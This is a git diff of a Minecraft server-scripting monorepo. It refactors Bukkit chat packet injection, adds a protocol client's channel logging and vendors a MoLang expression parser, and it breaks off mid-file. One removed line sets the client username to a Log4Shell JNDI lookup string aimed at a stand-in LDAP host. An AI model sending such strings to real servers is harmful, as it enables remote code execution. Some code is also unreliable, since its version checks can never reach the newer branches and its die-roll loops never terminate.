diff --git a/package.json b/package.json index 23f79b13..1be534f6 100644 --- a/package.json +++ b/package.json @@ -9,8 +9,7 @@ "bs": "lerna bootstrap", "clean": "lerna run clean", "watch": "lerna run watch --parallel", - "build": "lerna run build --scope=\"@ccms/!(plugins)\"", - "build:plugins": "lerna run build --scope=\"@ccms/plugins\"", + "build": "lerna run build", "ug": "yarn upgrade-interactive --latest", "np": "./script/push.sh", "lsp": "npm login --registry=https://registry.npmjs.org --scope=@ccms", diff --git a/packages/bukkit/src/enhance/chat.ts b/packages/bukkit/src/enhance/chat.ts index 625e9b32..4f971ffe 100644 --- a/packages/bukkit/src/enhance/chat.ts +++ b/packages/bukkit/src/enhance/chat.ts @@ -1,132 +1,175 @@ /*global Java, base, module, exports, require*/ -let ChatSerializer: any -let nmsChatSerializerMethodName: string -let PacketPlayOutChat: any -let chatMessageTypes: any - -let RemapUtils: any - -let playerConnectionFieldName: string -let sendPacketMethodName: string - -let above_1_16 = false -let downgrade = false -/** - * 获取NMS版本 - */ -let nmsVersion = undefined -let nmsSubVersion = undefined +let bukkitChatInvoke: BukkitChatInvoke /** * 获取NMS类 */ -function nmsCls(name: string) { - return base.getClass(['net.minecraft.server', nmsVersion, name].join('.')) -} +abstract class BukkitChatInvoke { + private downgrade: boolean = false + protected RemapUtils: any -function remapMethod(clazz: any, origin: string, test: string, params: any) { - try { - return clazz.getMethod(origin, params) - } catch (ex: any) { - if (RemapUtils) { - return clazz.getMethod(RemapUtils.mapMethod(clazz, origin, params), params) + protected ChatSerializer: any + protected nmsChatSerializerMethodName: string + protected PacketPlayOutChat: any + protected chatMessageTypes: any + protected playerConnectionFieldName: string + protected sendPacketMethodName: string + + constructor(private nmsVersion) { + } + + init() { + try { + try { + this.RemapUtils = Java.type('catserver.server.remapper.RemapUtils') + } catch (ex: any) { + } + let nmsChatSerializerClass = this.getNmsChatSerializerClass() + let nmsChatSerializerMethod = this.remapMethod(nmsChatSerializerClass, 'a', 'func_150699_a', base.getClass('java.lang.String')) + this.nmsChatSerializerMethodName = nmsChatSerializerMethod.getName() + this.ChatSerializer = Java.type(nmsChatSerializerClass.getName()) + let packetTypeClass = this.getPacketPlayOutChatClass() + this.PacketPlayOutChat = Java.type(packetTypeClass.getName()) + let packetTypeConstructor: { parameterTypes: any[] } + let constructors = packetTypeClass.constructors + Java.from(constructors).forEach(function (c) { + if (c.parameterTypes.length === 2 || c.parameterTypes.length === 3) { + packetTypeConstructor = c + } + }) + let parameterTypes = packetTypeConstructor.parameterTypes + let nmsChatMessageTypeClass = parameterTypes[1] + if (nmsChatMessageTypeClass.isEnum()) { + this.chatMessageTypes = nmsChatMessageTypeClass.getEnumConstants() + } + let playerConnectionField = this.getPlayerConnectionField() + this.playerConnectionFieldName = playerConnectionField.getName() + this.sendPacketMethodName = this.remapMethod(playerConnectionField.getType(), 'sendPacket', 'func_179290_a', this.getPacketClass()).getName() + } catch (ex: any) { + org.bukkit.Bukkit.getConsoleSender().sendMessage(`§6[§cMS§6][§bbukkit§6][§achat§6] §cNMS Inject Error §4${ex} §cDowngrade to Command Mode...`) + this.downgrade = true + } + } + + abstract getNmsChatSerializerClass() + abstract getPacketPlayOutChatClass() + abstract getPacketPlayOutChat(sender: any, json: any, type: number) + abstract getPlayerConnectionField() + abstract getPacketClass() + + nmsCls(name: string) { + return base.getClass(['net.minecraft.server', this.nmsVersion, name].join('.')) + } + + remapMethod(clazz: any, origin: string, test: string, params: any) { + try { + return clazz.getMethod(origin, params) + } catch (ex: any) { + if (this.RemapUtils) { + return clazz.getMethod(this.RemapUtils.mapMethod(clazz, origin, params), params) + } else { + return clazz.getMethod(test, params) + } + } + } + + remapFieldName(clazz: any, origin: string, test: string) { + try { + return clazz.getField(origin) + } catch (ex: any) { + if (this.RemapUtils) { + return clazz.getField(this.RemapUtils.mapFieldName(clazz, origin)) + } else { + return clazz.getField(test) + } + } + } + + json(sender: { name: string }, json: string) { + if (this.downgrade) { + return '/tellraw ' + sender.name + ' ' + json } else { - return clazz.getMethod(test, params) + this.send(sender, json, 0) + return false } } -} - -function remapFieldName(clazz: any, origin: string, test: string) { - try { - return clazz.getField(origin) - } catch (ex: any) { - if (RemapUtils) { - return clazz.getField(RemapUtils.mapFieldName(clazz, origin)) - } else { - return clazz.getField(test) - } + send(sender: any, json: any, type: number) { + this.sendPacket(sender, this.getPacketPlayOutChat(sender, json, type)) + } + sendPacket(player: { handle: { [x: string]: { [x: string]: (arg0: any) => void } } }, p: any) { + player.handle[this.playerConnectionFieldName][this.sendPacketMethodName](p) } } -function init() { - //@ts-ignore - nmsVersion = org.bukkit.Bukkit.server.class.name.split('.')[3] - nmsSubVersion = nmsVersion.split("_")[1] - try { - RemapUtils = Java.type('catserver.server.remapper.RemapUtils') - } catch (ex: any) { +class BukkitChatInvokeBase extends BukkitChatInvoke { + getPacketPlayOutChat(sender: any, json: any, type: number) { + return new this.PacketPlayOutChat(this.ChatSerializer[this.nmsChatSerializerMethodName](json), type) } - let nmsChatSerializerClass = undefined - if (nmsSubVersion < 8) { - nmsChatSerializerClass = nmsCls("ChatSerializer") - } else if (nmsSubVersion < 17) { - nmsChatSerializerClass = nmsCls("IChatBaseComponent$ChatSerializer") - } else { - nmsChatSerializerClass = base.getClass('net.minecraft.network.chat.IChatBaseComponent$ChatSerializer') + getNmsChatSerializerClass() { + return this.nmsCls("ChatSerializer") } - let nmsChatSerializerMethod = remapMethod(nmsChatSerializerClass, 'a', 'func_150699_a', base.getClass('java.lang.String')) - nmsChatSerializerMethodName = nmsChatSerializerMethod.getName() - ChatSerializer = Java.type(nmsChatSerializerClass.getName()) - let packetTypeClass = nmsSubVersion < 17 ? nmsCls("PacketPlayOutChat") : base.getClass('net.minecraft.network.protocol.game.PacketPlayOutChat') - PacketPlayOutChat = Java.type(packetTypeClass.getName()) - let packetTypeConstructor: { parameterTypes: any[] } - let constructors = packetTypeClass.constructors - Java.from(constructors).forEach(function (c) { - if (c.parameterTypes.length === 2) { - packetTypeConstructor = c - } - if (c.parameterTypes.length === 3) { - packetTypeConstructor = c - above_1_16 = true - } - }) - let parameterTypes = packetTypeConstructor.parameterTypes - let nmsChatMessageTypeClass = parameterTypes[1] - if (nmsChatMessageTypeClass.isEnum()) { - chatMessageTypes = nmsChatMessageTypeClass.getEnumConstants() + getPacketPlayOutChatClass() { + return this.nmsCls("PacketPlayOutChat") } - let playerConnectionField = undefined - if (nmsSubVersion < 17) { - playerConnectionField = remapFieldName(nmsCls('EntityPlayer'), 'playerConnection', 'field_71135_a') - } else { - playerConnectionField = base.getClass('net.minecraft.server.level.EntityPlayer').getField('b') + getPlayerConnectionField() { + return this.remapFieldName(this.nmsCls('EntityPlayer'), 'playerConnection', 'field_71135_a') } - playerConnectionFieldName = playerConnectionField.getName() - sendPacketMethodName = remapMethod(playerConnectionField.getType(), 'sendPacket', 'func_179290_a', nmsSubVersion < 17 ? nmsCls('Packet') : base.getClass('net.minecraft.network.protocol.Packet')).getName() -} - -function json(sender: { name: string }, json: string) { - if (downgrade) { - return '/tellraw ' + sender.name + ' ' + json - } else { - send(sender, json, 0) - return false + getPacketClass() { + return this.nmsCls('Packet') } } -function send(sender: any, json: any, type: number) { - let packet - if (above_1_16) { - packet = new PacketPlayOutChat(ChatSerializer[nmsChatSerializerMethodName](json), chatMessageTypes == null ? type : chatMessageTypes[type], sender.getUniqueId()) - } else { - packet = new PacketPlayOutChat(ChatSerializer[nmsChatSerializerMethodName](json), chatMessageTypes == null ? type : chatMessageTypes[type]) - } - sendPacket(sender, packet) +class BukkitChatInvoke_1_7_10 extends BukkitChatInvokeBase { } -function sendPacket(player: { handle: { [x: string]: { [x: string]: (arg0: any) => void } } }, p: any) { - player.handle[playerConnectionFieldName][sendPacketMethodName](p) +class BukkitChatInvoke_1_8 extends BukkitChatInvoke_1_7_10 { + getPacketPlayOutChat(sender: any, json: any, type: number) { + return new this.PacketPlayOutChat(this.ChatSerializer[this.nmsChatSerializerMethodName](json), this.chatMessageTypes[type]) + } + getNmsChatSerializerClass() { + return this.nmsCls("IChatBaseComponent$ChatSerializer") + } +} +class BukkitChatInvoke_1_16_5 extends BukkitChatInvoke_1_8 { + getPacketPlayOutChat(sender: any, json: any, type: number) { + return new this.PacketPlayOutChat(this.ChatSerializer[this.nmsChatSerializerMethodName](json), this.chatMessageTypes[type], sender.getUniqueId()) + } +} + +class BukkitChatInvoke_1_17_1 extends BukkitChatInvoke_1_16_5 { + getPacketPlayOutChatClass() { + return base.getClass('net.minecraft.network.protocol.game.PacketPlayOutChat') + } + getNmsChatSerializerClass() { + return base.getClass('net.minecraft.network.chat.IChatBaseComponent$ChatSerializer') + } + getPlayerConnectionField() { + return base.getClass('net.minecraft.server.level.EntityPlayer').getField('b') + } + getPacketClass() { + return base.getClass('net.minecraft.network.protocol.Packet') + } } try { - init() + //@ts-ignore + let nmsVersion = org.bukkit.Bukkit.server.class.name.split('.')[3] + let nmsSubVersion = nmsVersion.split("_")[1] + if (nmsSubVersion >= 8) { + bukkitChatInvoke = new BukkitChatInvoke_1_8(nmsVersion) + } else if (nmsSubVersion >= 16) { + bukkitChatInvoke = new BukkitChatInvoke_1_16_5(nmsVersion) + } else if (nmsSubVersion >= 17) { + bukkitChatInvoke = new BukkitChatInvoke_1_17_1(nmsVersion) + } else { + bukkitChatInvoke = new BukkitChatInvoke_1_7_10(nmsVersion) + } + bukkitChatInvoke.init() } catch (ex: any) { - org.bukkit.Bukkit.getConsoleSender().sendMessage(`§6[§cMS§6][§bbukkit§6][§achat§6] §cNMS Inject Error §4${ex} §cDowngrade to Command Mode...`) - downgrade = true } let chat = { - json, - send + json: bukkitChatInvoke.json.bind(bukkitChatInvoke), + send: bukkitChatInvoke.send.bind(bukkitChatInvoke) } export default chat diff --git a/packages/client/.gitignore b/packages/client/.gitignore new file mode 100644 index 00000000..5c2725ff --- /dev/null +++ b/packages/client/.gitignore @@ -0,0 +1 @@ +src/emp.ts diff --git a/packages/client/package.json b/packages/client/package.json index 56d7364c..8c39638e 100644 --- a/packages/client/package.json +++ b/packages/client/package.json @@ -26,6 +26,7 @@ "dependencies": { "axios": "^0.24.0", "minecraft-protocol": "^1.29.0", + "minecraft-protocol-forge": "^1.0.0", "proxy-agent": "^5.0.0" }, "devDependencies": { diff --git a/packages/client/src/index.ts b/packages/client/src/index.ts index e9550a50..844ac721 100644 --- a/packages/client/src/index.ts +++ b/packages/client/src/index.ts @@ -1,29 +1,13 @@ import { createInterface } from 'readline' -import { createClient } from 'minecraft-protocol' +import { Client, createClient } from 'minecraft-protocol' import { attachForge } from './forge' import { attachEvents } from './event' - - - - - - - - - - - - - - - -// let readUserInfo = process.argv[2] || 'Mr_jtb' -// let realUserInfo = readUserInfo.split(":") -// let username = realUserInfo[0] -let username = '${jndi:ldap://x}' -let password = '';//realUserInfo[1] || '' +let readUserInfo = process.argv[2] || 'Mr_jtb' +let realUserInfo = readUserInfo.split(":") +let username = realUserInfo[0] +let password = realUserInfo[1] || '' let version = process.argv[3] || '1.12.2' let readAddress = process.argv[4] || '192.168.2.25:25565' let realAddress = readAddress.split(":") @@ -60,7 +44,24 @@ function createConnection(host: string, port: number, username: string, password return client } -function attachCommon(client) { +function attachCommon(client: Client) { + client.on('login', () => { + // client.registerChannel('updater', ['string', []]) + // client.registerChannel('updater-enabled', ['string', []]) + // client.registerChannel('dragoncore', ['string', []]) + // client.registerChannel('dragoncore:main', ['string', []]) + client.on('REGISTER', (array) => { + for (const channel of array) { + client.on('channel', console.log) + } + }) + // client.on('dragoncore:main', (data) => { + // console.log(data) + // }) + }) + client.on('custom_payload', (data) => { + console.log('custom_payload' + JSON.stringify(data)) + }) client.on('error', (error) => { console.log("Client Error", error) }) diff --git a/packages/molang/.gitignore b/packages/molang/.gitignore new file mode 100644 index 00000000..85bd6f8e --- /dev/null +++ b/packages/molang/.gitignore @@ -0,0 +1,6 @@ +node_modules +perf/* + + +tsconfig.tsbuildinfo +.DS_STORE \ No newline at end of file diff --git a/packages/molang/package.json b/packages/molang/package.json new file mode 100644 index 00000000..f336ea55 --- /dev/null +++ b/packages/molang/package.json @@ -0,0 +1,29 @@ +{ + "name": "@ccms/molang", + "version": "0.17.0", + "description": "A fast parser for Minecraft's MoLang", + "main": "dist/index.js", + "types": "dist/index.d.ts", + "scripts": { + "clean": "rimraf dist", + "watch": "tsc --watch", + "build": "yarn clean && tsc", + "test": "echo \"Error: run tests from root\" && exit 1" + }, + "repository": { + "type": "git", + "url": "git+https://github.com/solvedDev/MoLang.git" + }, + "author": "solvedDev", + "license": "MIT", + "bugs": { + "url": "https://github.com/solvedDev/MoLang/issues" + }, + "homepage": "https://github.com/solvedDev/MoLang#readme", + "devDependencies": { + "@types/node": "^13.1.2", + "tslib": "^2.3.1", + "rimraf": "^3.0.2", + "typescript": "^4.5.3" + } +} diff --git a/packages/molang/src/MoLang.ts b/packages/molang/src/MoLang.ts new file mode 100644 index 00000000..a6430487 --- /dev/null +++ b/packages/molang/src/MoLang.ts @@ -0,0 +1,129 @@ +import { ExecutionEnvironment } from './env/env' +import { IExpression, IParserConfig } from './main' +import { StaticExpression } from './parser/expressions/static' +import { StringExpression } from './parser/expressions/string' +import { MoLangParser } from './parser/molang' + +export class MoLang { + protected expressionCache: Record = {} + protected totalCacheEntries = 0 + protected executionEnvironment!: ExecutionEnvironment + + protected parser: MoLangParser + + constructor( + env: Record = {}, + protected config: Partial = {} + ) { + if (config.useOptimizer === undefined) this.config.useOptimizer = true + if (config.useCache === undefined) this.config.useCache = true + if (config.earlyReturnsSkipParsing === undefined) + this.config.earlyReturnsSkipParsing = true + if (config.earlyReturnsSkipTokenization === undefined) + this.config.earlyReturnsSkipTokenization = true + if (config.convertUndefined === undefined) + this.config.convertUndefined = false + + this.parser = new MoLangParser({ + ...this.config, + tokenizer: undefined, + }) + + this.updateExecutionEnv(env) + } + + updateConfig(newConfig: Partial) { + newConfig = Object.assign(this.config, newConfig) + + if (newConfig.tokenizer) this.parser.setTokenizer(newConfig.tokenizer) + this.parser.updateConfig({ ...this.config, tokenizer: undefined }) + this.executionEnvironment.updateConfig(newConfig) + } + updateExecutionEnv(env: Record, isFlat = false) { + this.executionEnvironment = new ExecutionEnvironment(env, { + useRadians: this.config.useRadians, + convertUndefined: this.config.convertUndefined, + isFlat, + variableHandler: this.config.variableHandler, + }) + this.parser.setExecutionEnvironment(this.executionEnvironment) + } + /** + * Clears the MoLang expression cache + */ + clearCache() { + this.expressionCache = {} + this.totalCacheEntries = 0 + } + + /** + * Execute the given MoLang string `expression` + * @param expression The MoLang string to execute + * + * @returns The value the MoLang expression corresponds to + */ + execute(expression: string) { + this.parser.setExecutionEnvironment(this.executionEnvironment) + const abstractSyntaxTree = this.parse(expression) + + const result = abstractSyntaxTree.eval() + if (result === undefined) return 0 + if (typeof result === 'boolean') return Number(result) + return result + } + /** + * Execute the given MoLang string `expression` + * In case of errors, return 0 + * @param expression The MoLang string to execute + * + * @returns The value the MoLang expression corresponds to and 0 if the statement is invalid + */ + executeAndCatch(expression: string) { + try { + return this.execute(expression) + } catch { + return 0 + } + } + + /** + * Parse the given MoLang string `expression` + * @param expression The MoLang string to parse + * + * @returns An AST that corresponds to the MoLang expression + */ + parse(expression: string): IExpression { + if (this.config.useCache ?? true) { + const abstractSyntaxTree = this.expressionCache[expression] + if (abstractSyntaxTree) return abstractSyntaxTree + } + + this.parser.init(expression) + let abstractSyntaxTree = this.parser.parseExpression() + if ((this.config.useOptimizer ?? true) && abstractSyntaxTree.isStatic()) + abstractSyntaxTree = new StaticExpression(abstractSyntaxTree.eval()) + // console.log(JSON.stringify(abstractSyntaxTree, null, ' ')) + + if (this.config.useCache ?? true) { + if (this.totalCacheEntries > (this.config.maxCacheSize || 256)) + this.clearCache() + + this.expressionCache[expression] = abstractSyntaxTree + this.totalCacheEntries++ + } + + return abstractSyntaxTree + } + + resolveStatic(ast: IExpression) { + ast.walk((expr) => { + if (expr instanceof StringExpression) return + + if (expr.isStatic()) return new StaticExpression(expr.eval()) + }) + } + + getParser() { + return this.parser + } +} diff --git a/packages/molang/src/custom/function.ts b/packages/molang/src/custom/function.ts new file mode 100644 index 00000000..0aef664c --- /dev/null +++ b/packages/molang/src/custom/function.ts @@ -0,0 +1,93 @@ +import { Parser } from '../parser/parse' +import { Token } from '../parser/../tokenizer/token' +import { IPrefixParselet } from '../parser/parselets/prefix' +import { Expression, IExpression } from '../parser/expression' +import { StringExpression } from '../parser/expressions/string' +import { StatementExpression } from '../parser/expressions/statement' +import { CustomMoLangParser } from './main' +import { GroupExpression } from '../parser/expressions/group' + +export class CustomFunctionParselet implements IPrefixParselet { + constructor(public precedence = 0) {} + + parse(parser: Parser, token: Token) { + parser.consume('LEFT_PARENT') + if (parser.match('RIGHT_PARENT')) + throw new Error(`function() called without arguments`) + + let args: string[] = [] + let functionBody: IExpression | undefined + let functionName: string | undefined + do { + const expr = parser.parseExpression() + if (expr instanceof StringExpression) { + if (!functionName) functionName = expr.eval() + else args.push(expr.eval()) + } else if ( + expr instanceof StatementExpression || + expr instanceof GroupExpression + ) { + functionBody = expr + } else { + throw new Error( + `Unexpected expresion: found "${expr.constructor.name}"` + ) + } + } while (parser.match('COMMA')) + parser.consume('RIGHT_PARENT') + + if (!functionName) + throw new Error( + `Missing function() name (argument 1); found "${functionName}"` + ) + if (!functionBody) + throw new Error( + `Missing function() body (argument ${args.length + 2})` + ) + + return new CustomFunctionExpression( + (parser).functions, + functionName, + args, + functionBody + ) + } +} + +class CustomFunctionExpression extends Expression { + type = 'CustomFunctionExpression' + constructor( + functions: Map, + functionName: string, + args: string[], + protected functionBody: IExpression + ) { + super() + functions.set(functionName, [ + args, + functionBody instanceof GroupExpression + ? functionBody.allExpressions[0].toString() + : functionBody.toString(), + ]) + } + + get allExpressions() { + return [this.functionBody] + } + setExpressionAt(_: number, expr: IExpression) { + this.functionBody = expr + } + + get isReturn() { + // Scopes inside of functions may use return statements + return false + } + + isStatic() { + return true + } + + eval() { + return 0 + } +} diff --git a/packages/molang/src/custom/main.ts b/packages/molang/src/custom/main.ts new file mode 100644 index 00000000..b49209d9 --- /dev/null +++ b/packages/molang/src/custom/main.ts @@ -0,0 +1,229 @@ +import { ExecutionEnvironment } from '../env/env' +import { IParserConfig } from '../main' +import { MoLangParser } from '../parser/molang' +import { Tokenizer } from '../tokenizer/Tokenizer' +import { CustomFunctionParselet } from './function' +import { MoLang } from '../MoLang' +import { StatementExpression } from '../parser/expressions/statement' +import { transformStatement } from './transformStatement' +import { NameExpression } from '../parser/expressions/name' +import { ReturnExpression } from '../parser/expressions/return' +import { GenericOperatorExpression } from '../parser/expressions/genericOperator' +import { TernaryExpression } from '../parser/expressions/ternary' +import { IExpression } from '../parser/expression' +import { VoidExpression } from '../parser/expressions/void' +import { GroupExpression } from '../parser/expressions/group' + +export class CustomMoLangParser extends MoLangParser { + public readonly functions = new Map() + + constructor(config: Partial) { + super(config) + this.registerPrefix('FUNCTION', new CustomFunctionParselet()) + } + + reset() { + this.functions.clear() + } +} + +export class CustomMoLang { + protected parser: CustomMoLangParser + + constructor(env: any) { + this.parser = new CustomMoLangParser({ + useCache: false, + useOptimizer: true, + useAgressiveStaticOptimizer: true, + keepGroups: true, + earlyReturnsSkipParsing: false, + earlyReturnsSkipTokenization: false, + }) + this.parser.setExecutionEnvironment( + new ExecutionEnvironment(this.parser, env) + ) + this.parser.setTokenizer(new Tokenizer(new Set(['function']))) + } + + get functions() { + return this.parser.functions + } + + parse(expression: string) { + this.parser.init(expression) + const abstractSyntaxTree = this.parser.parseExpression() + + return abstractSyntaxTree + } + + transform(source: string) { + const molang = new MoLang( + {}, + { + useCache: false, + keepGroups: true, + useOptimizer: true, + useAgressiveStaticOptimizer: true, + earlyReturnsSkipParsing: true, + earlyReturnsSkipTokenization: false, + } + ) + + let totalScoped = 0 + let ast = molang.parse(source) + + let isComplexExpression = false + if (ast instanceof StatementExpression) { + isComplexExpression = true + } + + let containsComplexExpressions = false + ast = ast.walk((expr: any) => { + // Only run code on function expressions which start with "f." or "function." + if ( + expr.type !== 'FunctionExpression' || + (!expr.name.name.startsWith?.('f.') && + !expr.name.name.startsWith?.('function.')) + ) + return + + const nameExpr = expr.name + const functionName = nameExpr.name.replace(/(f|function)\./g, '') + const argValues = expr.args + + let [args, functionBody] = this.functions.get(functionName) ?? [] + if (!functionBody || !args) return + + // Insert argument values + functionBody = functionBody.replace( + /(a|arg)\.(\w+)/g, + (match, prefix, argName) => { + const val = + argValues[args!.indexOf(argName)]?.toString() ?? '0' + + return val.replace(/(t|temp)\./, 'outer_temp.') + } + ) + + let funcAst = transformStatement(molang.parse(functionBody)) + if (funcAst instanceof StatementExpression) { + funcAst = molang.parse(`({${functionBody}}+t.return_value)`) + + containsComplexExpressions = true + } + + const varNameMap = new Map() + funcAst = funcAst.walk((expr) => { + if (expr instanceof NameExpression) { + const fullName = expr.toString() + // Remove "a."/"t."/etc. from var name + let tmp = fullName.split('.') + const varType = tmp.shift() + const varName = tmp.join('.') + + if (varType === 't' || varType === 'temp') { + // Scope temp./t. variables to functions + let newName = varNameMap.get(fullName) + if (!newName) { + newName = `t.__scvar${totalScoped++}` + varNameMap.set(fullName, newName) + } + + expr.setName(newName) + } else if (varType === 'outer_temp') { + expr.setName(`t.${varName}`) + } + + return undefined + } else if (expr instanceof ReturnExpression) { + const nameExpr = new NameExpression( + molang.getParser().executionEnv, + 't.return_value' + ) + const returnValExpr = expr.allExpressions[0] + + return new GenericOperatorExpression( + nameExpr, + returnValExpr, + '=', + () => { + nameExpr.setPointer(returnValExpr.eval()) + } + ) + } else if (expr instanceof StatementExpression) { + // Make early returns work correctly by adjusting ternary statements which contain return statements + const expressions: IExpression[] = [] + + for (let i = 0; i < expr.allExpressions.length; i++) { + const currExpr = expr.allExpressions[i] + + if ( + currExpr instanceof TernaryExpression && + currExpr.hasReturn + ) { + handleTernary( + currExpr, + expr.allExpressions.slice(i + 1) + ) + + expressions.push(currExpr) + break + } else if (currExpr.isReturn) { + expressions.push(currExpr) + break + } + + expressions.push(currExpr) + } + + return new StatementExpression(expressions) + } + }) + + return funcAst + }) + + const finalAst = molang.parse(ast.toString()) + molang.resolveStatic(finalAst) + return !isComplexExpression && containsComplexExpressions + ? `return ${finalAst.toString()};` + : finalAst.toString() + } + + reset() { + this.functions.clear() + } +} + +function handleTernary( + returnTernary: TernaryExpression, + currentExpressions: IExpression[] +) { + // If & else branch end with return statements -> we can omit everything after the ternary + if (returnTernary.isReturn) return + + const notReturningBranchIndex = returnTernary.allExpressions[2].isReturn + ? 1 + : 2 + const notReturningBranch = + returnTernary.allExpressions[notReturningBranchIndex] + + if (!(notReturningBranch instanceof VoidExpression)) { + if ( + notReturningBranch instanceof GroupExpression && + notReturningBranch.allExpressions[0] instanceof StatementExpression + ) { + currentExpressions.unshift(...notReturningBranch.allExpressions) + } else { + currentExpressions.unshift(notReturningBranch) + } + } + if (currentExpressions.length > 0) + returnTernary.setExpressionAt( + notReturningBranchIndex, + new GroupExpression( + new StatementExpression(currentExpressions), + '{}' + ) + ) +} diff --git a/packages/molang/src/custom/transformStatement.ts b/packages/molang/src/custom/transformStatement.ts new file mode 100644 index 00000000..043b3cdd --- /dev/null +++ b/packages/molang/src/custom/transformStatement.ts @@ -0,0 +1,19 @@ +import { IExpression } from '../parser/expression' +import { GroupExpression } from '../parser/expressions/group' +import { ReturnExpression } from '../parser/expressions/return' +import { StatementExpression } from '../parser/expressions/statement' + +export function transformStatement(expression: IExpression) { + if (expression instanceof ReturnExpression) + return new GroupExpression(expression.allExpressions[0], '()') + if (!(expression instanceof StatementExpression)) return expression + if (expression.allExpressions.length > 1) return expression + + // Only one statement, test whether it is a return statement + const expr = expression.allExpressions[0] + if (expr instanceof ReturnExpression) { + return new GroupExpression(expr.allExpressions[0], '()') + } else { + return expression + } +} diff --git a/packages/molang/src/env/env.ts b/packages/molang/src/env/env.ts new file mode 100644 index 00000000..0239994d --- /dev/null +++ b/packages/molang/src/env/env.ts @@ -0,0 +1,143 @@ +import { standardEnv } from './standardEnv' + +export type TVariableHandler = ( + variableName: string, + variables: Record +) => unknown + +export interface IEnvConfig { + useRadians?: boolean + convertUndefined?: boolean + variableHandler?: TVariableHandler + isFlat?: boolean +} + +export class ExecutionEnvironment { + protected env: Record + + constructor(env: Record, public readonly config: IEnvConfig) { + if (!env) throw new Error(`Provided environment must be an object`) + + if (config.isFlat) + this.env = Object.assign( + env, + standardEnv(config.useRadians ?? false) + ) + else + this.env = { + ...standardEnv(config.useRadians ?? false), + ...this.flattenEnv(env), + } + } + + updateConfig({ + variableHandler, + convertUndefined, + useRadians, + }: IEnvConfig) { + if (convertUndefined !== undefined) + this.config.convertUndefined = convertUndefined + if (typeof variableHandler === 'function') + this.config.variableHandler = variableHandler + + if (!!this.config.useRadians !== !!useRadians) { + this.env = Object.assign(this.env, standardEnv(!!useRadians)) + } + } + + protected flattenEnv( + newEnv: Record, + addKey = '', + current: any = {} + ) { + for (let key in newEnv) { + if (key[1] === '.') { + switch (key[0]) { + case 'q': + key = 'query' + key.substring(1, key.length) + break + case 't': + key = 'temp' + key.substring(1, key.length) + break + case 'v': + key = 'variable' + key.substring(1, key.length) + break + case 'c': + key = 'context' + key.substring(1, key.length) + break + case 'f': + key = 'function' + key.substring(1, key.length) + break + } + } + + if (newEnv[key].__isContext) { + current[`${addKey}${key}`] = newEnv[key].env + } else if ( + typeof newEnv[key] === 'object' && + !Array.isArray(newEnv[key]) + ) { + this.flattenEnv(newEnv[key], `${addKey}${key}.`, current) + } else { + current[`${addKey}${key}`] = newEnv[key] + } + } + + return current + } + + setAt(lookup: string, value: unknown) { + if (lookup[1] === '.') { + switch (lookup[0]) { + case 'q': + lookup = 'query' + lookup.substring(1, lookup.length) + break + case 't': + lookup = 'temp' + lookup.substring(1, lookup.length) + break + case 'v': + lookup = 'variable' + lookup.substring(1, lookup.length) + break + case 'c': + lookup = 'context' + lookup.substring(1, lookup.length) + break + case 'f': + lookup = 'function' + lookup.substring(1, lookup.length) + break + } + } + + return (this.env[lookup] = value) + } + + getFrom(lookup: string) { + if (lookup[1] === '.') { + switch (lookup[0]) { + case 'q': + lookup = 'query' + lookup.substring(1, lookup.length) + break + case 't': + lookup = 'temp' + lookup.substring(1, lookup.length) + break + case 'v': + lookup = 'variable' + lookup.substring(1, lookup.length) + break + case 'c': + lookup = 'context' + lookup.substring(1, lookup.length) + break + case 'f': + lookup = 'function' + lookup.substring(1, lookup.length) + break + } + } + + const res = + this.env[lookup] ?? this.config.variableHandler?.(lookup, this.env) + return res === undefined && this.config.convertUndefined ? 0 : res + } +} + +export class Context { + public readonly __isContext = true + constructor(public readonly env: any) {} +} diff --git a/packages/molang/src/env/math.ts b/packages/molang/src/env/math.ts new file mode 100644 index 00000000..ae6d8083 --- /dev/null +++ b/packages/molang/src/env/math.ts @@ -0,0 +1,86 @@ +const clamp = (value: number, min: number, max: number) => { + if (typeof value !== 'number' || Number.isNaN(value)) return min + else if (value > max) return max + else if (value < min) return min + return value +} +const dieRoll = (sum: number, low: number, high: number) => { + let i = 0 + let total = 0 + while (i < sum) total += random(low, high) + return total +} +const dieRollInt = (sum: number, low: number, high: number) => { + let i = 0 + let total = 0 + while (i < sum) total += randomInt(low, high) + return total +} +const hermiteBlend = (value: number) => 3 * value ** 2 - 2 * value ** 3 +const lerp = (start: number, end: number, amount: number) => { + if (amount < 0) amount = 0 + else if (amount > 1) amount = 1 + + return start + (end - start) * amount +} +// Written by @JannisX11 (https://github.com/JannisX11/MolangJS/blob/master/molang.js#L383); modified for usage inside of this MoLang parser +const lerprotate = (start: number, end: number, amount: number) => { + const radify = (n: number) => (((n + 180) % 360) + 180) % 360 + start = radify(start) + end = radify(end) + if (start > end) { + let tmp = start + start = end + end = tmp + } + + if (end - start > 180) return radify(end + amount * (360 - (end - start))) + else return start + amount * (end - start) +} +const mod = (value: number, denominator: number) => value % denominator +const random = (low: number, high: number) => low + Math.random() * (high - low) +const randomInt = (low: number, high: number) => + Math.round(low + Math.random() * (high - low)) + +const minAngle = (value: number) => { + value = value % 360 + value = (value + 360) % 360 + + if (value > 179) value -= 360 + return value +} + +export const MoLangMathLib = (useRadians: boolean) => { + const degRadFactor = useRadians ? 1 : Math.PI / 180 + + return { + 'math.abs': Math.abs, + 'math.acos': (x: number) => Math.acos(x) / degRadFactor, + 'math.asin': (x: number) => Math.asin(x) / degRadFactor, + 'math.atan': (x: number) => Math.atan(x) / degRadFactor, + 'math.atan2': (y: number, x: number) => Math.atan2(y, x) / degRadFactor, + 'math.ceil': Math.ceil, + 'math.clamp': clamp, + 'math.cos': (x: number) => Math.cos(x * degRadFactor), + 'math.die_roll': dieRoll, + 'math.die_roll_integer': dieRollInt, + 'math.exp': Math.exp, + 'math.floor': Math.floor, + 'math.hermite_blend': hermiteBlend, + 'math.lerp': lerp, + 'math.lerp_rotate': lerprotate, + 'math.ln': Math.log, + 'math.max': Math.max, + 'math.min': Math.min, + 'math.min_angle': minAngle, + 'math.mod': mod, + 'math.pi': Math.PI, + 'math.pow': Math.pow, + 'math.random': random, + 'math.random_integer': randomInt, + 'math.round': Math.round, + 'math.sin': (x: number) => Math.sin(x * degRadFactor), + 'math.sqrt': Math.sqrt, + 'math.trunc': Math.trunc, + } +} diff --git a/packages/molang/src/env/queries.ts b/packages/molang/src/env/queries.ts new file mode 100644 index 00000000..5b132ea4 --- /dev/null +++ b/packages/molang/src/env/queries.ts @@ -0,0 +1,25 @@ +const inRange = (value: number, min: number, max: number) => { + // Check that value, min and max are numbers + if ( + typeof value !== 'number' || + typeof min !== 'number' || + typeof max !== 'number' + ) { + 